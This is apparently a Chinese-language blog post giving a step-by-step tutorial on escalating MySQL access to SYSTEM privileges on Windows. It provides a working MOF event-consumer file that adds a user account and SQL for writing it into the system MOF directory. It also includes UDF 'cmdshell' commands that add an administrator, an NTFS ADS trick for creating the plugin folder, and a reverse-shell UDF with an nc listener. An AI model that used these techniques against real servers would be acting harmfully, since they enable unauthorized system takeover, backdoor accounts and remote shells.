Ywc's blog

MySQL提权

Word count: 1.2kReading time: 4 min
2019/04/16

MOF提权

原理

在windows平台下(linux下不可用),c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。

利用条件

mysql用户具有root权限(对上面那个目录可写)
关闭了secure-file-priv

利用方式

(1)找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user c0de code /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
;

其中的第18行的命令,上传前请自己更改。
这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来就可以直接执行sql语句把该文件写入到目标路径。
(2)执行load_file及into dumpfile把文件导出到正确的位置即可

1
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

UDF提权

原理

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

利用条件

1.Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2.Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
4.可以将udf.dll写入到相应目录的权限。

注:关于plugin目录,可在mysql中执行:

1
show variables like '%plugin%';

进行查看,这个目录也就是dll文件需要导入的目录

利用方式

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到”Can’t open shared library”的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1.最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
2.创建相应的函数并执行命令,具体如下

1
2
3
4
5
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数

3.某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

1
2
3
4
5
6
select @@basedir;
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

MySQL反弹Shell提权

其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。

注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的

  • 然后创建函数backshell
    1
    CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
  • 在具备独立主机的服务器上执行监听
    1
    nc -vv -l -p 12345
  • 最后执行backshell
    1
    select backshell("你的ip地址",12345);
CATALOG
  1. 1. MOF提权
    1. 1.1. 原理
    2. 1.2. 利用条件
    3. 1.3. 利用方式
  2. 2. UDF提权
    1. 2.1. 原理
    2. 2.2. 利用条件
    3. 2.3. 利用方式
  3. 3. MySQL反弹Shell提权